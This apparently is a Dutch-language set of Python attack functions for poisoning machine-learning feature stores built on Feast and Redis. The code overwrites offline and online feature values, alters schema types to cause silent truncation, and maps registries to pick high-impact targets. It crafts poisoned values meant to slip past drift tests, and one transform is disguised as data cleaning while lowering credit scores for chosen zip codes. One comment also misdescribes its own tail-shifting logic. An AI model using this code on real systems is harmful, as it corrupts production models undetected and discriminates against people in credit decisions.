Feature stores manipuleren

def poison_offline_features(
    feature_store_path: str,
    target_entity_ids: list[str],
    feature_name: str,
    poisoned_value: float,
    format: str = "parquet",
):
    """
    Vergiftig features in de offline-store door historische
    feature-waarden voor specifieke entiteiten te wijzigen. Dit treft
    toekomstige training-runs die deze features consumeren.
    """
    import pandas as pd
 
    if format == "parquet":
        df = pd.read_parquet(feature_store_path)
 
        # Leg oorspronkelijke waarden vast voor eventuele latere analyse
        original_values = df.loc[
            df["entity_id"].isin(target_entity_ids), feature_name
        ].to_dict()
 
        # Pas vergiftigde waarden toe
        mask = df["entity_id"].isin(target_entity_ids)
        df.loc[mask, feature_name] = poisoned_value
 
        # Schrijf terug — met behoud van schema en metadata
        df.to_parquet(feature_store_path, index=False)
 
        return {
            "action": "offline_features_poisoned",
            "affected_entities": len(target_entity_ids),
            "feature": feature_name,
            "original_sample": dict(list(original_values.items())[:5]),
            "poisoned_value": poisoned_value,
        }

import redis
 
def poison_online_features_redis(
    redis_host: str,
    redis_port: int,
    project: str,
    entity_key: str,
    feature_view: str,
    feature_name: str,
    poisoned_value: bytes,
    redis_password: str = None,
):
    """
    Vergiftig features in een door Redis ondersteunde online-store (gangbaar bij Feast).
    Feast slaat online-features op in Redis met een voorspelbaar sleutelformaat.
    """
    r = redis.Redis(
        host=redis_host,
        port=redis_port,
        password=redis_password,
        decode_responses=False,
    )
 
    # Feast Redis-sleutelformaat: project/entity_key
    redis_key = f"{project}/{entity_key}"
 
    # Controleer of de sleutel bestaat
    exists = r.exists(redis_key)
 
    if exists:
        # Feast slaat features op als een geserialiseerde protobuf in een hash
        # De veldnaam is de naam van de feature view
        current_value = r.hget(redis_key, feature_view)
 
        # Vervang de feature-waarde
        # Let op: de feitelijke implementatie vereist protobuf-serialisatie
        # die overeenkomt met het interne formaat van Feast
        r.hset(redis_key, feature_view, poisoned_value)
 
        return {
            "action": "online_feature_poisoned",
            "key": redis_key,
            "feature_view": feature_view,
            "previous_value_size": len(current_value) if current_value else 0,
        }
 
    return {"error": "Entity key not found in online store"}

# Voorbeeld: Feast feature-definitie met een vergiftigde transformatie
from feast import Entity, Feature, FeatureView, FileSource, ValueType
from feast.field import Field
from feast.types import Float64, String
 
# Legitieme feature view
user_features = FeatureView(
    name="user_features",
    entities=[Entity(name="user_id", value_type=ValueType.INT64)],
    schema=[
        Field(name="credit_score", dtype=Float64),
        Field(name="account_age_days", dtype=Float64),
        Field(name="transaction_count", dtype=Float64),
    ],
    source=FileSource(
        path="data/user_features.parquet",
        timestamp_field="event_timestamp",
    ),
)
 
# Aanval: wijzig de transformatielogica in de feature-pipeline
# Een subtiele wijziging die credit scores verschuift voor specifieke demografieën
def poisoned_credit_score_transform(df):
    """
    Ogenschijnlijk een data-cleaning-functie, maar introduceert gerichte vertekening.
    Dit is moeilijk te detecteren bij code review omdat de logica
    een redelijke stap voor outlier-afhandeling lijkt.
    """
    import pandas as pd
 
    # Lijkt op outlier-clipping — introduceert in werkelijkheid vertekening
    # voor postcodes in specifieke regio's
    high_risk_zips = set(range(10001, 10100))  # Richt op specifiek gebied
    mask = df["zip_code"].isin(high_risk_zips)
 
    # Verlaag credit scores met een subtiel bedrag voor de doelgroep
    df.loc[mask, "credit_score"] = df.loc[mask, "credit_score"] * 0.92
 
    return df

def manipulate_feature_schema(
    feast_repo_path: str,
    feature_view_name: str,
    target_feature: str,
    new_dtype: str,
):
    """
    Wijzig het datatype van een feature in de schemadefinitie.
    Het veranderen van een float-feature naar int veroorzaakt bijvoorbeeld
    stille truncatie die de modelnauwkeurigheid verslechtert zonder fouten te genereren.
    """
    import yaml
    import os
 
    # Vind en parse de feature-store-definitie
    feature_file = os.path.join(feast_repo_path, "features.py")
 
    with open(feature_file, "r") as f:
        content = f.read()
 
    # Vervang het dtype voor de doel-feature
    # bijv. Float64 naar Int64 veranderen veroorzaakt stille truncatie
    old_definition = f'Field(name="{target_feature}", dtype=Float64)'
    new_definition = f'Field(name="{target_feature}", dtype=Int64)'
 
    if old_definition in content:
        modified = content.replace(old_definition, new_definition)
        with open(feature_file, "w") as f:
            f.write(modified)
 
        return {
            "action": "schema_manipulated",
            "feature": target_feature,
            "old_dtype": "Float64",
            "new_dtype": "Int64",
            "impact": "Silent truncation of decimal values during materialization",
        }
 
    return {"error": "Feature definition not found"}

def enumerate_feast_registry(registry_path: str):
    """
    Lees en inventariseer een Feast-registry om de topologie van de
    feature store te begrijpen en aanvalsdoelwitten te identificeren.
    Feast ondersteunt registry-backends: file, SQL, GCS, S3.
    """
    from feast import FeatureStore
 
    store = FeatureStore(repo_path=registry_path)
 
    inventory = {
        "entities": [],
        "feature_views": [],
        "feature_services": [],
        "data_sources": [],
    }
 
    # Inventariseer alle entiteiten
    for entity in store.list_entities():
        inventory["entities"].append({
            "name": entity.name,
            "value_type": str(entity.value_type),
            "description": entity.description,
        })
 
    # Inventariseer alle feature views
    for fv in store.list_feature_views():
        inventory["feature_views"].append({
            "name": fv.name,
            "entities": [e.name for e in fv.entity_columns],
            "features": [f.name for f in fv.features],
            "source": str(fv.batch_source),
            "ttl": str(fv.ttl) if fv.ttl else "None",
        })
 
    # Inventariseer feature services (groepen features die samen worden geserveerd)
    for fs in store.list_feature_services():
        inventory["feature_services"].append({
            "name": fs.name,
            "feature_views": [
                fvp.feature_view_name
                for fvp in fs.feature_view_projections
            ],
        })
 
    return inventory

def intercept_feast_materialization(
    feast_repo_path: str,
    target_feature_view: str,
):
    """
    Onderschep Feast-materialisatie door de databron te omhullen
    met een proxy die features wijzigt tijdens het offline-naar-online-
    materialisatieproces.
    """
    from feast import FeatureStore
    from datetime import datetime, timedelta
 
    store = FeatureStore(repo_path=feast_repo_path)
 
    # Haak in op de materialisatiepipeline
    # Door de offline-store-data te wijzigen voordat de materialisatie draait,
    # worden vergiftigde waarden naar de online-store geschreven
    end_date = datetime.now()
    start_date = end_date - timedelta(hours=1)
 
    # Dit triggert materialisatie — als offline-data vergiftigd is,
    # verspreiden vergiftigde waarden zich naar de online-store
    store.materialize(
        start_date=start_date,
        end_date=end_date,
        feature_views=[target_feature_view],
    )
 
    return {
        "action": "materialization_triggered",
        "feature_view": target_feature_view,
        "note": "If offline store is poisoned, values now in online store",
    }

def identify_high_impact_features(feast_repo_path: str):
    """
    Identificeer features die door meerdere feature services
    (en dus meerdere modellen) worden geconsumeerd. Dit zijn de
    meest impactvolle doelwitten voor vergiftiging, omdat één enkele
    wijziging meerdere productiemodellen tegelijk treft.
    """
    from feast import FeatureStore
 
    store = FeatureStore(repo_path=feast_repo_path)
 
    # Map features naar hun consumenten
    feature_consumers = {}
 
    for fs in store.list_feature_services():
        for fvp in fs.feature_view_projections:
            for feature in fvp.features:
                key = f"{fvp.feature_view_name}:{feature.name}"
                if key not in feature_consumers:
                    feature_consumers[key] = []
                feature_consumers[key].append(fs.name)
 
    # Sorteer op aantal consumenten — hoogste impact eerst
    ranked = sorted(
        feature_consumers.items(),
        key=lambda x: len(x[1]),
        reverse=True,
    )
 
    return [
        {
            "feature": feat,
            "consumer_count": len(consumers),
            "consumers": consumers,
            "impact": "CRITICAL" if len(consumers) > 3 else "HIGH",
        }
        for feat, consumers in ranked
    ]

import numpy as np
from scipy import stats
 
def craft_stealthy_poisoned_values(
    original_values: np.ndarray,
    target_shift: float,
    detection_threshold: float = 0.05,
):
    """
    Maak vergiftigde feature-waarden die de distributie verschuiven
    met de doelwaarde en daarbij ondetecteerbaar blijven voor standaard-
    driftdetectiemethoden (KS-test, PSI, chi-kwadraat).
    """
    # Strategie: wijzig alleen waarden in de staarten van de distributie
    # waar wijzigingen minder impact hebben op geaggregeerde statistieken
 
    poisoned = original_values.copy()
    n = len(poisoned)
 
    # Identificeer staartwaarden (bovenste en onderste 10%)
    sorted_indices = np.argsort(poisoned)
    tail_size = int(n * 0.10)
 
    # Verschuif de waarden in de bovenste staart
    upper_tail = sorted_indices[-tail_size:]
    poisoned[upper_tail] += target_shift * 0.5
 
    # Verschuif de waarden in de onderste staart (compenserende verschuiving om het gemiddelde te behouden)
    lower_tail = sorted_indices[:tail_size]
    poisoned[lower_tail] += target_shift * 0.5
 
    # Verifieer heimelijkheid tegen de KS-test
    ks_stat, p_value = stats.ks_2samp(original_values, poisoned)
 
    return {
        "poisoned_values": poisoned,
        "mean_shift": np.mean(poisoned) - np.mean(original_values),
        "ks_statistic": ks_stat,
        "ks_p_value": p_value,
        "detected": p_value < detection_threshold,
        "strategy": "tail_manipulation" if p_value >= detection_threshold else "needs_refinement",
    }